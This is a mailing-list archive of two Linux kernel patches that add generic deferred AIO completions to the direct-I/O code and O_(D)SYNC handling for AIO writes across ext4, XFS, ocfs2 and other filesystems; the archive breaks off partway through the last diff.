X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1675329E03 for ; Wed, 4 Sep 2013 08:04:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E6B1F8F8039 for ; Wed, 4 Sep 2013 06:04:50 -0700 (PDT) X-ASG-Debug-ID: 1378299888-04cbb02c3cd368b0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id mCsP7jZmRpvgEkPG for ; Wed, 04 Sep 2013 06:04:48 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id AF211A52C6; Wed, 4 Sep 2013 15:04:45 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id CF88C80DF0; Wed, 4 Sep 2013 15:04:43 +0200 (CEST) From: Jan Kara To: Al Viro Cc: linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, Christoph Hellwig , dchinner@redhat.com, Christoph Hellwig , Jan Kara Subject: [PATCH 2/2] direct-io: Handle O_(D)SYNC AIO Date: Wed, 4 Sep 2013 15:04:40 +0200 X-ASG-Orig-Subj: [PATCH 2/2] direct-io: Handle O_(D)SYNC AIO Message-Id: <1378299880-11103-3-git-send-email-jack@suse.cz> X-Mailer: git-send-email 1.8.1.4 In-Reply-To: <1378299880-11103-1-git-send-email-jack@suse.cz> References: <1378299880-11103-1-git-send-email-jack@suse.cz> X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1378299888 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140312 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Christoph Hellwig Call generic_write_sync() from the deferred I/O completion handler if O_DSYNC is set for a write request. Also make sure various callers don't call generic_write_sync if the direct I/O code returns -EIOCBQUEUED. Based on an earlier patch from Jan Kara with updates from Jeff Moyer and Darrick J. Wong . Signed-off-by: Christoph Hellwig Signed-off-by: Jan Kara --- fs/block_dev.c | 2 +- fs/btrfs/file.c | 2 +- fs/cifs/file.c | 2 +- fs/direct-io.c | 45 ++++++++++++++++++++++++++++++++++++--------- fs/ext4/file.c | 2 +- mm/filemap.c | 2 +- 6 files changed, 41 insertions(+), 14 deletions(-) diff --git a/fs/block_dev.c b/fs/block_dev.c index c7bda5c..1173a4e 100644 --- a/fs/block_dev.c +++ b/fs/block_dev.c @@ -1519,7 +1519,7 @@ ssize_t blkdev_aio_write(struct kiocb *iocb, const struct iovec *iov, blk_start_plug(&plug); ret = __generic_file_aio_write(iocb, iov, nr_segs, &iocb->ki_pos); - if (ret > 0 || ret == -EIOCBQUEUED) { + if (ret > 0) { ssize_t err; err = generic_write_sync(file, pos, ret); diff --git a/fs/btrfs/file.c b/fs/btrfs/file.c index 8e686a4..4d2eb64 100644 --- a/fs/btrfs/file.c +++ b/fs/btrfs/file.c @@ -1727,7 +1727,7 @@ static ssize_t btrfs_file_aio_write(struct kiocb *iocb, */ BTRFS_I(inode)->last_trans = root->fs_info->generation + 1; BTRFS_I(inode)->last_sub_trans = root->log_transid; - if (num_written > 0 || num_written == -EIOCBQUEUED) { + if (num_written > 0) { err = generic_write_sync(file, pos, num_written); if (err < 0 && num_written > 0) num_written = err; diff --git a/fs/cifs/file.c b/fs/cifs/file.c index 1e57f36..d2653ee 100644 --- a/fs/cifs/file.c +++ b/fs/cifs/file.c @@ -2552,7 +2552,7 @@ cifs_writev(struct kiocb *iocb, const struct iovec *iov, mutex_unlock(&inode->i_mutex); } - if (rc > 0 || rc == -EIOCBQUEUED) { + if (rc > 0) { ssize_t err; err = generic_write_sync(file, pos, rc); diff --git a/fs/direct-io.c b/fs/direct-io.c index 8b31b9f..1782023 100644 --- a/fs/direct-io.c +++ b/fs/direct-io.c @@ -266,8 +266,18 @@ static ssize_t dio_complete(struct dio *dio, loff_t offset, ssize_t ret, dio->end_io(dio->iocb, offset, transferred, dio->private); inode_dio_done(dio->inode); - if (is_async) + if (is_async) { + if (dio->rw & WRITE) { + int err; + + err = generic_write_sync(dio->iocb->ki_filp, offset, + transferred); + if (err < 0 && ret > 0) + ret = err; + } + aio_complete(dio->iocb, ret, 0); + } kmem_cache_free(dio_cache, dio); return ret; @@ -1183,11 +1193,6 @@ do_blockdev_direct_IO(int rw, struct kiocb *iocb, struct inode *inode, } /* - * Will be decremented at I/O completion time. - */ - atomic_inc(&inode->i_dio_count); - - /* * For file extending writes updating i_size before data * writeouts complete can expose uninitialized blocks. So * even for AIO, we need to wait for i/o to complete before @@ -1195,11 +1200,33 @@ do_blockdev_direct_IO(int rw, struct kiocb *iocb, struct inode *inode, */ dio->is_async = !is_sync_kiocb(iocb) && !((rw & WRITE) && (end > i_size_read(inode))); - - retval = 0; - dio->inode = inode; dio->rw = rw; + + /* + * For AIO O_(D)SYNC writes we need to defer completions to a workqueue + * so that we can call ->fsync. + */ + if (dio->is_async && (rw & WRITE) && + ((iocb->ki_filp->f_flags & O_DSYNC) || + IS_SYNC(iocb->ki_filp->f_mapping->host))) { + retval = dio_set_defer_completion(dio); + if (retval) { + /* + * We grab i_mutex only for reads so we don't have + * to release it here + */ + kmem_cache_free(dio_cache, dio); + goto out; + } + } + + /* + * Will be decremented at I/O completion time. + */ + atomic_inc(&inode->i_dio_count); + + retval = 0; sdio.blkbits = blkbits; sdio.blkfactor = i_blkbits - blkbits; sdio.block_in_file = offset >> blkbits; diff --git a/fs/ext4/file.c b/fs/ext4/file.c index 6f4cc56..bb9efc0 100644 --- a/fs/ext4/file.c +++ b/fs/ext4/file.c @@ -149,7 +149,7 @@ ext4_file_dio_write(struct kiocb *iocb, const struct iovec *iov, ret = __generic_file_aio_write(iocb, iov, nr_segs, &iocb->ki_pos); mutex_unlock(&inode->i_mutex); - if (ret > 0 || ret == -EIOCBQUEUED) { + if (ret > 0) { ssize_t err; err = generic_write_sync(file, pos, ret); diff --git a/mm/filemap.c b/mm/filemap.c index 4b51ac1..731a2c2 100644 --- a/mm/filemap.c +++ b/mm/filemap.c @@ -2550,7 +2550,7 @@ ssize_t generic_file_aio_write(struct kiocb *iocb, const struct iovec *iov, ret = __generic_file_aio_write(iocb, iov, nr_segs, &iocb->ki_pos); mutex_unlock(&inode->i_mutex); - if (ret > 0 || ret == -EIOCBQUEUED) { + if (ret > 0) { ssize_t err; err = generic_write_sync(file, pos, ret); -- 1.8.1.4 From jack@suse.cz Wed Sep 4 08:04:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BCC3C29E02 for ; Wed, 4 Sep 2013 08:04:53 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A908E304048 for ; Wed, 4 Sep 2013 06:04:53 -0700 (PDT) X-ASG-Debug-ID: 1378299888-04cb6c2e9dd41340001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id 6bUljlQJrx3IHUu4 for ; Wed, 04 Sep 2013 06:04:48 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id AF290A52D9; Wed, 4 Sep 2013 15:04:46 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id D26F780E17; Wed, 4 Sep 2013 15:04:43 +0200 (CEST) From: Jan Kara To: Al Viro Cc: linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, Christoph Hellwig , dchinner@redhat.com, Christoph Hellwig , Jan Kara Subject: [PATCH 1/2] direct-io: Implement generic deferred AIO completions Date: Wed, 4 Sep 2013 15:04:39 +0200 X-ASG-Orig-Subj: [PATCH 1/2] direct-io: Implement generic deferred AIO completions Message-Id: <1378299880-11103-2-git-send-email-jack@suse.cz> X-Mailer: git-send-email 1.8.1.4 In-Reply-To: <1378299880-11103-1-git-send-email-jack@suse.cz> References: <1378299880-11103-1-git-send-email-jack@suse.cz> X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1378299888 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140312 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words From: Christoph Hellwig Add support to the core direct-io code to defer AIO completions to user context using a workqueue. This replaces opencoded and less efficient code in XFS and ext4 (we save a memory allocation for each direct IO) and will be needed to properly support O_(D)SYNC for AIO. The communication between the filesystem and the direct I/O code requires a new buffer head flag, which is a bit ugly but not avoidable until the direct I/O code stops abusing the buffer_head structure for communicating with the filesystems. Currently this creates a per-superblock unbound workqueue for these completions, which is taken from an earlier patch by Jan Kara. I'm not really convinced about this use and would prefer a "normal" global workqueue with a high concurrency limit, but this needs further discussion. JK: Fixed ext4 part, dynamic allocation of the workqueue. Signed-off-by: Christoph Hellwig Signed-off-by: Jan Kara --- fs/direct-io.c | 85 ++++++++++++++++++++++++++++++++++++--------- fs/ext4/ext4.h | 11 ------ fs/ext4/inode.c | 28 ++++----------- fs/ext4/page-io.c | 30 ++++------------ fs/ext4/super.c | 16 --------- fs/ocfs2/aops.c | 8 +---- fs/super.c | 18 +++++----- fs/xfs/xfs_aops.c | 28 +++------------ fs/xfs/xfs_aops.h | 3 -- include/linux/buffer_head.h | 2 ++ include/linux/fs.h | 7 ++-- 11 files changed, 105 insertions(+), 131 deletions(-) diff --git a/fs/direct-io.c b/fs/direct-io.c index 7ab90f5..8b31b9f 100644 --- a/fs/direct-io.c +++ b/fs/direct-io.c @@ -127,6 +127,7 @@ struct dio { spinlock_t bio_lock; /* protects BIO fields below */ int page_errors; /* errno from get_user_pages() */ int is_async; /* is IO async ? */ + bool defer_completion; /* defer AIO completion to workqueue? */ int io_error; /* IO error in completion path */ unsigned long refcount; /* direct_io_worker() and bios */ struct bio *bio_list; /* singly linked via bi_private */ @@ -141,7 +142,10 @@ struct dio { * allocation time. Don't add new fields after pages[] unless you * wish that they not be zeroed. */ - struct page *pages[DIO_PAGES]; /* page buffer */ + union { + struct page *pages[DIO_PAGES]; /* page buffer */ + struct work_struct complete_work;/* deferred AIO completion */ + }; } ____cacheline_aligned_in_smp; static struct kmem_cache *dio_cache __read_mostly; @@ -221,16 +225,16 @@ static inline struct page *dio_get_page(struct dio *dio, * dio_complete() - called when all DIO BIO I/O has been completed * @offset: the byte offset in the file of the completed operation * - * This releases locks as dictated by the locking type, lets interested parties - * know that a DIO operation has completed, and calculates the resulting return - * code for the operation. + * This drops i_dio_count, lets interested parties know that a DIO operation + * has completed, and calculates the resulting return code for the operation. * * It lets the filesystem know if it registered an interest earlier via * get_block. Pass the private field of the map buffer_head so that * filesystems can use it to hold additional state between get_block calls and * dio_complete. */ -static ssize_t dio_complete(struct dio *dio, loff_t offset, ssize_t ret, bool is_async) +static ssize_t dio_complete(struct dio *dio, loff_t offset, ssize_t ret, + bool is_async) { ssize_t transferred = 0; @@ -258,19 +262,26 @@ static ssize_t dio_complete(struct dio *dio, loff_t offset, ssize_t ret, bool is if (ret == 0) ret = transferred; - if (dio->end_io && dio->result) { - dio->end_io(dio->iocb, offset, transferred, - dio->private, ret, is_async); - } else { - inode_dio_done(dio->inode); - if (is_async) - aio_complete(dio->iocb, ret, 0); - } + if (dio->end_io && dio->result) + dio->end_io(dio->iocb, offset, transferred, dio->private); + + inode_dio_done(dio->inode); + if (is_async) + aio_complete(dio->iocb, ret, 0); + kmem_cache_free(dio_cache, dio); return ret; } +static void dio_aio_complete_work(struct work_struct *work) +{ + struct dio *dio = container_of(work, struct dio, complete_work); + + dio_complete(dio, dio->iocb->ki_pos, 0, true); +} + static int dio_bio_complete(struct dio *dio, struct bio *bio); + /* * Asynchronous IO callback. */ @@ -290,8 +301,13 @@ static void dio_bio_end_aio(struct bio *bio, int error) spin_unlock_irqrestore(&dio->bio_lock, flags); if (remaining == 0) { - dio_complete(dio, dio->iocb->ki_pos, 0, true); - kmem_cache_free(dio_cache, dio); + if (dio->result && dio->defer_completion) { + INIT_WORK(&dio->complete_work, dio_aio_complete_work); + queue_work(dio->inode->i_sb->s_dio_done_wq, + &dio->complete_work); + } else { + dio_complete(dio, dio->iocb->ki_pos, 0, true); + } } } @@ -511,6 +527,41 @@ static inline int dio_bio_reap(struct dio *dio, struct dio_submit *sdio) } /* + * Create workqueue for deferred direct IO completions. We allocate the + * workqueue when it's first needed. This avoids creating workqueue for + * filesystems that don't need it and also allows us to create the workqueue + * late enough so the we can include s_id in the name of the workqueue. + */ +static int sb_init_dio_done_wq(struct super_block *sb) +{ + struct workqueue_struct *wq = alloc_workqueue("dio/%s", + WQ_MEM_RECLAIM, 0, + sb->s_id); + if (!wq) + return -ENOMEM; + /* + * This has to be atomic as more DIOs can race to create the workqueue + */ + cmpxchg(&sb->s_dio_done_wq, NULL, wq); + /* Someone created workqueue before us? Free ours... */ + if (wq != sb->s_dio_done_wq) + destroy_workqueue(wq); + return 0; +} + +static int dio_set_defer_completion(struct dio *dio) +{ + struct super_block *sb = dio->inode->i_sb; + + if (dio->defer_completion) + return 0; + dio->defer_completion = true; + if (!sb->s_dio_done_wq) + return sb_init_dio_done_wq(sb); + return 0; +} + +/* * Call into the fs to map some more disk blocks. We record the current number * of available blocks at sdio->blocks_available. These are in units of the * fs blocksize, (1 << inode->i_blkbits). @@ -581,6 +632,9 @@ static int get_more_blocks(struct dio *dio, struct dio_submit *sdio, /* Store for completion */ dio->private = map_bh->b_private; + + if (ret == 0 && buffer_defer_completion(map_bh)) + ret = dio_set_defer_completion(dio); } return ret; } @@ -1269,7 +1323,6 @@ do_blockdev_direct_IO(int rw, struct kiocb *iocb, struct inode *inode, if (drop_refcount(dio) == 0) { retval = dio_complete(dio, offset, retval, false); - kmem_cache_free(dio_cache, dio); } else BUG_ON(retval != -EIOCBQUEUED); diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index b577e45..bb64697 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -180,7 +180,6 @@ struct ext4_map_blocks { * Flags for ext4_io_end->flags */ #define EXT4_IO_END_UNWRITTEN 0x0001 -#define EXT4_IO_END_DIRECT 0x0002 /* * For converting uninitialized extents on a work queue. 'handle' is used for @@ -196,8 +195,6 @@ typedef struct ext4_io_end { unsigned int flag; /* unwritten or not */ loff_t offset; /* offset in the file */ ssize_t size; /* size of the extent */ - struct kiocb *iocb; /* iocb struct for AIO */ - int result; /* error value for AIO */ atomic_t count; /* reference counter */ } ext4_io_end_t; @@ -900,11 +897,9 @@ struct ext4_inode_info { * Completed IOs that need unwritten extents handling and don't have * transaction reserved */ - struct list_head i_unrsv_conversion_list; atomic_t i_ioend_count; /* Number of outstanding io_end structs */ atomic_t i_unwritten; /* Nr. of inflight conversions pending */ struct work_struct i_rsv_conversion_work; - struct work_struct i_unrsv_conversion_work; spinlock_t i_block_reservation_lock; @@ -1276,8 +1271,6 @@ struct ext4_sb_info { struct flex_groups *s_flex_groups; ext4_group_t s_flex_groups_allocated; - /* workqueue for unreserved extent convertions (dio) */ - struct workqueue_struct *unrsv_conversion_wq; /* workqueue for reserved extent conversions (buffered io) */ struct workqueue_struct *rsv_conversion_wq; @@ -1340,9 +1333,6 @@ static inline void ext4_set_io_unwritten_flag(struct inode *inode, struct ext4_io_end *io_end) { if (!(io_end->flag & EXT4_IO_END_UNWRITTEN)) { - /* Writeback has to have coversion transaction reserved */ - WARN_ON(EXT4_SB(inode->i_sb)->s_journal && !io_end->handle && - !(io_end->flag & EXT4_IO_END_DIRECT)); io_end->flag |= EXT4_IO_END_UNWRITTEN; atomic_inc(&EXT4_I(inode)->i_unwritten); } @@ -2715,7 +2705,6 @@ extern void ext4_put_io_end_defer(ext4_io_end_t *io_end); extern void ext4_io_submit_init(struct ext4_io_submit *io, struct writeback_control *wbc); extern void ext4_end_io_rsv_work(struct work_struct *work); -extern void ext4_end_io_unrsv_work(struct work_struct *work); extern void ext4_io_submit(struct ext4_io_submit *io); extern int ext4_bio_write_page(struct ext4_io_submit *io, struct page *page, diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index dd32a2e..3780ce6 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -727,8 +727,12 @@ static int _ext4_get_block(struct inode *inode, sector_t iblock, ret = ext4_map_blocks(handle, inode, &map, flags); if (ret > 0) { + ext4_io_end_t *io_end = ext4_inode_aio(inode); + map_bh(bh, inode->i_sb, map.m_pblk); bh->b_state = (bh->b_state & ~EXT4_MAP_FLAGS) | map.m_flags; + if (io_end && io_end->flag & EXT4_IO_END_UNWRITTEN) + set_buffer_defer_completion(bh); bh->b_size = inode->i_sb->s_blocksize * map.m_len; ret = 0; } @@ -2991,19 +2995,13 @@ static int ext4_get_block_write_nolock(struct inode *inode, sector_t iblock, } static void ext4_end_io_dio(struct kiocb *iocb, loff_t offset, - ssize_t size, void *private, int ret, - bool is_async) + ssize_t size, void *private) { - struct inode *inode = file_inode(iocb->ki_filp); ext4_io_end_t *io_end = iocb->private; /* if not async direct IO just return */ - if (!io_end) { - inode_dio_done(inode); - if (is_async) - aio_complete(iocb, ret, 0); + if (!io_end) return; - } ext_debug("ext4_end_io_dio(): io_end 0x%p " "for inode %lu, iocb 0x%p, offset %llu, size %zd\n", @@ -3013,11 +3011,7 @@ static void ext4_end_io_dio(struct kiocb *iocb, loff_t offset, iocb->private = NULL; io_end->offset = offset; io_end->size = size; - if (is_async) { - io_end->iocb = iocb; - io_end->result = ret; - } - ext4_put_io_end_defer(io_end); + ext4_put_io_end(io_end); } /* @@ -3102,7 +3096,6 @@ static ssize_t ext4_ext_direct_IO(int rw, struct kiocb *iocb, ret = -ENOMEM; goto retake_lock; } - io_end->flag |= EXT4_IO_END_DIRECT; /* * Grab reference for DIO. Will be dropped in ext4_end_io_dio() */ @@ -3147,13 +3140,6 @@ static ssize_t ext4_ext_direct_IO(int rw, struct kiocb *iocb, if (ret <= 0 && ret != -EIOCBQUEUED && iocb->private) { WARN_ON(iocb->private != io_end); WARN_ON(io_end->flag & EXT4_IO_END_UNWRITTEN); - WARN_ON(io_end->iocb); - /* - * Generic code already did inode_dio_done() so we - * have to clear EXT4_IO_END_DIRECT to not do it for - * the second time. - */ - io_end->flag = 0; ext4_put_io_end(io_end); iocb->private = NULL; } diff --git a/fs/ext4/page-io.c b/fs/ext4/page-io.c index 6625d21..d7d0c7b 100644 --- a/fs/ext4/page-io.c +++ b/fs/ext4/page-io.c @@ -123,10 +123,6 @@ static void ext4_release_io_end(ext4_io_end_t *io_end) ext4_finish_bio(bio); bio_put(bio); } - if (io_end->flag & EXT4_IO_END_DIRECT) - inode_dio_done(io_end->inode); - if (io_end->iocb) - aio_complete(io_end->iocb, io_end->result, 0); kmem_cache_free(io_end_cachep, io_end); } @@ -204,19 +200,14 @@ static void ext4_add_complete_io(ext4_io_end_t *io_end) struct workqueue_struct *wq; unsigned long flags; - BUG_ON(!(io_end->flag & EXT4_IO_END_UNWRITTEN)); + /* Only reserved conversions from writeback should enter here */ + WARN_ON(!(io_end->flag & EXT4_IO_END_UNWRITTEN)); + WARN_ON(!io_end->handle); spin_lock_irqsave(&ei->i_completed_io_lock, flags); - if (io_end->handle) { - wq = EXT4_SB(io_end->inode->i_sb)->rsv_conversion_wq; - if (list_empty(&ei->i_rsv_conversion_list)) - queue_work(wq, &ei->i_rsv_conversion_work); - list_add_tail(&io_end->list, &ei->i_rsv_conversion_list); - } else { - wq = EXT4_SB(io_end->inode->i_sb)->unrsv_conversion_wq; - if (list_empty(&ei->i_unrsv_conversion_list)) - queue_work(wq, &ei->i_unrsv_conversion_work); - list_add_tail(&io_end->list, &ei->i_unrsv_conversion_list); - } + wq = EXT4_SB(io_end->inode->i_sb)->rsv_conversion_wq; + if (list_empty(&ei->i_rsv_conversion_list)) + queue_work(wq, &ei->i_rsv_conversion_work); + list_add_tail(&io_end->list, &ei->i_rsv_conversion_list); spin_unlock_irqrestore(&ei->i_completed_io_lock, flags); } @@ -256,13 +247,6 @@ void ext4_end_io_rsv_work(struct work_struct *work) ext4_do_flush_completed_IO(&ei->vfs_inode, &ei->i_rsv_conversion_list); } -void ext4_end_io_unrsv_work(struct work_struct *work) -{ - struct ext4_inode_info *ei = container_of(work, struct ext4_inode_info, - i_unrsv_conversion_work); - ext4_do_flush_completed_IO(&ei->vfs_inode, &ei->i_unrsv_conversion_list); -} - ext4_io_end_t *ext4_init_io_end(struct inode *inode, gfp_t flags) { ext4_io_end_t *io = kmem_cache_zalloc(io_end_cachep, flags); diff --git a/fs/ext4/super.c b/fs/ext4/super.c index 36b141e..85c034f 100644 --- a/fs/ext4/super.c +++ b/fs/ext4/super.c @@ -762,9 +762,7 @@ static void ext4_put_super(struct super_block *sb) ext4_unregister_li_request(sb); dquot_disable(sb, -1, DQUOT_USAGE_ENABLED | DQUOT_LIMITS_ENABLED); - flush_workqueue(sbi->unrsv_conversion_wq); flush_workqueue(sbi->rsv_conversion_wq); - destroy_workqueue(sbi->unrsv_conversion_wq); destroy_workqueue(sbi->rsv_conversion_wq); if (sbi->s_journal) { @@ -875,14 +873,12 @@ static struct inode *ext4_alloc_inode(struct super_block *sb) #endif ei->jinode = NULL; INIT_LIST_HEAD(&ei->i_rsv_conversion_list); - INIT_LIST_HEAD(&ei->i_unrsv_conversion_list); spin_lock_init(&ei->i_completed_io_lock); ei->i_sync_tid = 0; ei->i_datasync_tid = 0; atomic_set(&ei->i_ioend_count, 0); atomic_set(&ei->i_unwritten, 0); INIT_WORK(&ei->i_rsv_conversion_work, ext4_end_io_rsv_work); - INIT_WORK(&ei->i_unrsv_conversion_work, ext4_end_io_unrsv_work); return &ei->vfs_inode; } @@ -3954,14 +3950,6 @@ no_journal: goto failed_mount4; } - EXT4_SB(sb)->unrsv_conversion_wq = - alloc_workqueue("ext4-unrsv-conversion", WQ_MEM_RECLAIM | WQ_UNBOUND, 1); - if (!EXT4_SB(sb)->unrsv_conversion_wq) { - printk(KERN_ERR "EXT4-fs: failed to create workqueue\n"); - ret = -ENOMEM; - goto failed_mount4; - } - /* * The jbd2_journal_load will have done any necessary log recovery, * so we can safely mount the rest of the filesystem now. @@ -4115,8 +4103,6 @@ failed_mount4: ext4_msg(sb, KERN_ERR, "mount failed"); if (EXT4_SB(sb)->rsv_conversion_wq) destroy_workqueue(EXT4_SB(sb)->rsv_conversion_wq); - if (EXT4_SB(sb)->unrsv_conversion_wq) - destroy_workqueue(EXT4_SB(sb)->unrsv_conversion_wq); failed_mount_wq: if (sbi->s_journal) { jbd2_journal_destroy(sbi->s_journal); @@ -4564,7 +4550,6 @@ static int ext4_sync_fs(struct super_block *sb, int wait) trace_ext4_sync_fs(sb, wait); flush_workqueue(sbi->rsv_conversion_wq); - flush_workqueue(sbi->unrsv_conversion_wq); /* * Writeback quota in non-journalled quota case - journalled quota has * no dirty dquots @@ -4600,7 +4585,6 @@ static int ext4_sync_fs_nojournal(struct super_block *sb, int wait) trace_ext4_sync_fs(sb, wait); flush_workqueue(EXT4_SB(sb)->rsv_conversion_wq); - flush_workqueue(EXT4_SB(sb)->unrsv_conversion_wq); dquot_writeback_dquots(sb, -1); if (wait && test_opt(sb, BARRIER)) ret = blkdev_issue_flush(sb->s_bdev, GFP_KERNEL, NULL); diff --git a/fs/ocfs2/aops.c b/fs/ocfs2/aops.c index 79736a2..a533593 100644 --- a/fs/ocfs2/aops.c +++ b/fs/ocfs2/aops.c @@ -565,9 +565,7 @@ bail: static void ocfs2_dio_end_io(struct kiocb *iocb, loff_t offset, ssize_t bytes, - void *private, - int ret, - bool is_async) + void *private) { struct inode *inode = file_inode(iocb->ki_filp); int level; @@ -592,10 +590,6 @@ static void ocfs2_dio_end_io(struct kiocb *iocb, level = ocfs2_iocb_rw_locked_level(iocb); ocfs2_rw_unlock(inode, level); - - inode_dio_done(inode); - if (is_async) - aio_complete(iocb, ret, 0); } /* diff --git a/fs/super.c b/fs/super.c index 68307c0..5536a95 100644 --- a/fs/super.c +++ b/fs/super.c @@ -152,15 +152,9 @@ static struct super_block *alloc_super(struct file_system_type *type, int flags) static const struct super_operations default_op; if (s) { - if (security_sb_alloc(s)) { - /* - * We cannot call security_sb_free() without - * security_sb_alloc() succeeding. So bail out manually - */ - kfree(s); - s = NULL; - goto out; - } + if (security_sb_alloc(s)) + goto out_free_sb; + #ifdef CONFIG_SMP s->s_files = alloc_percpu(struct list_head); if (!s->s_files) @@ -228,6 +222,7 @@ err_out: free_percpu(s->s_files); #endif destroy_sb_writers(s); +out_free_sb: kfree(s); s = NULL; goto out; @@ -414,6 +409,11 @@ void generic_shutdown_super(struct super_block *sb) evict_inodes(sb); + if (sb->s_dio_done_wq) { + destroy_workqueue(sb->s_dio_done_wq); + sb->s_dio_done_wq = NULL; + } + if (sop->put_super) sop->put_super(sb); diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 596ec71..e11d654 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -86,14 +86,6 @@ xfs_destroy_ioend( bh->b_end_io(bh, !ioend->io_error); } - if (ioend->io_iocb) { - inode_dio_done(ioend->io_inode); - if (ioend->io_isasync) { - aio_complete(ioend->io_iocb, ioend->io_error ? - ioend->io_error : ioend->io_result, 0); - } - } - mempool_free(ioend, xfs_ioend_pool); } @@ -281,7 +273,6 @@ xfs_alloc_ioend( * all the I/O from calling the completion routine too early. */ atomic_set(&ioend->io_remaining, 1); - ioend->io_isasync = 0; ioend->io_isdirect = 0; ioend->io_error = 0; ioend->io_list = NULL; @@ -291,8 +282,6 @@ xfs_alloc_ioend( ioend->io_buffer_tail = NULL; ioend->io_offset = 0; ioend->io_size = 0; - ioend->io_iocb = NULL; - ioend->io_result = 0; ioend->io_append_trans = NULL; INIT_WORK(&ioend->io_work, xfs_end_io); @@ -1292,8 +1281,10 @@ __xfs_get_blocks( if (create || !ISUNWRITTEN(&imap)) xfs_map_buffer(inode, bh_result, &imap, offset); if (create && ISUNWRITTEN(&imap)) { - if (direct) + if (direct) { bh_result->b_private = inode; + set_buffer_defer_completion(bh_result); + } set_buffer_unwritten(bh_result); } } @@ -1390,9 +1381,7 @@ xfs_end_io_direct_write( struct kiocb *iocb, loff_t offset, ssize_t size, - void *private, - int ret, - bool is_async) + void *private) { struct xfs_ioend *ioend = iocb->private; @@ -1414,17 +1403,10 @@ xfs_end_io_direct_write( ioend->io_offset = offset; ioend->io_size = size; - ioend->io_iocb = iocb; - ioend->io_result = ret; if (private && size > 0) ioend->io_type = XFS_IO_UNWRITTEN; - if (is_async) { - ioend->io_isasync = 1; - xfs_finish_ioend(ioend); - } else { - xfs_finish_ioend_sync(ioend); - } + xfs_finish_ioend_sync(ioend); } STATIC ssize_t diff --git a/fs/xfs/xfs_aops.h b/fs/xfs/xfs_aops.h index c325abb..f94dd45 100644 --- a/fs/xfs/xfs_aops.h +++ b/fs/xfs/xfs_aops.h @@ -45,7 +45,6 @@ typedef struct xfs_ioend { unsigned int io_type; /* delalloc / unwritten */ int io_error; /* I/O error code */ atomic_t io_remaining; /* hold count */ - unsigned int io_isasync : 1; /* needs aio_complete */ unsigned int io_isdirect : 1;/* direct I/O */ struct inode *io_inode; /* file being written to */ struct buffer_head *io_buffer_head;/* buffer linked list head */ @@ -54,8 +53,6 @@ typedef struct xfs_ioend { xfs_off_t io_offset; /* offset in the file */ struct work_struct io_work; /* xfsdatad work queue */ struct xfs_trans *io_append_trans;/* xact. for size update */ - struct kiocb *io_iocb; - int io_result; } xfs_ioend_t; extern const struct address_space_operations xfs_address_space_operations; diff --git a/include/linux/buffer_head.h b/include/linux/buffer_head.h index 91fa9a9..d77797a 100644 --- a/include/linux/buffer_head.h +++ b/include/linux/buffer_head.h @@ -36,6 +36,7 @@ enum bh_state_bits { BH_Quiet, /* Buffer Error Prinks to be quiet */ BH_Meta, /* Buffer contains metadata */ BH_Prio, /* Buffer should be submitted with REQ_PRIO */ + BH_Defer_Completion, /* Defer AIO completion to workqueue */ BH_PrivateStart,/* not a state bit, but the first bit available * for private allocation by other entities @@ -128,6 +129,7 @@ 